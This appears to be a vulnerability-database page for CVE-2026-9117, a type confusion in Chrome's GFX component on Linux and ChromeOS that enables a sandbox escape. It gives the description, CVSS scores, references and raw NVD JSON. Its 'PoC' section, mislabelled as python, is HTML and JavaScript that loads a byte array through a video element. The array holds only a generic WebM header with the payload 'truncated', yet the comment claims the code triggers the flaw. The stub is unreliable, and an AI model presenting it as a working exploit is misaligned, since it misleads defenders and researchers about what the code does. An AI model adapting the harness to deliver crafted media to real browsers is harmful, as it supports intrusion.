CVE-2026-9117

Description

Type Confusion in GFX in Google Chrome on Linux, ChromeOS prior to 148.0.7778.179 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome on Linux < 148.0.7778.179

Google Chrome on ChromeOS < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9117: Type Confusion in Chrome GFX
Description: This HTML snippet triggers the vulnerability by loading a crafted video file.
Note: Successful exploitation requires chaining with a Renderer RCE.
-->
<html>
<head>
    <title>CVE-2026-9117 Trigger</title>
</head>
<body>
    <script>
        // Step 1: Create a crafted video buffer to induce type confusion
        // Actual exploit bytes would target the specific GFX parsing logic.
        const maliciousVideo = new Uint8Array([
            0x1A, 0x45, 0xDF, 0xA3, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x42, 0x86, 0x81, 0x01,
            // ... (Truncated for brevity, specific payload required)
        ]);

        // Step 2: Generate a Blob URL for the malicious content
        const blob = new Blob([maliciousVideo], { type: 'video/webm' });
        const exploitUrl = URL.createObjectURL(blob);

        // Step 3: Trigger the vulnerability via video element
        const videoElement = document.createElement('video');
        videoElement.src = exploitUrl;
        document.body.appendChild(videoElement);
        
        // Attempt to play to trigger the parsing path in GPU process
        videoElement.play().catch(e => console.log('Playback interaction required'));
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9117
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9117
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9117/
[4] VulDB https://vuldb.com/cve/CVE-2026-9117
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/497542537

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9117", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:43.020", "lastModified": "2026-05-20T20:16:43.020", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Type Confusion in GFX in Google Chrome on Linux, ChromeOS prior to 148.0.7778.179 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/497542537", "source": "[email protected]"}]}}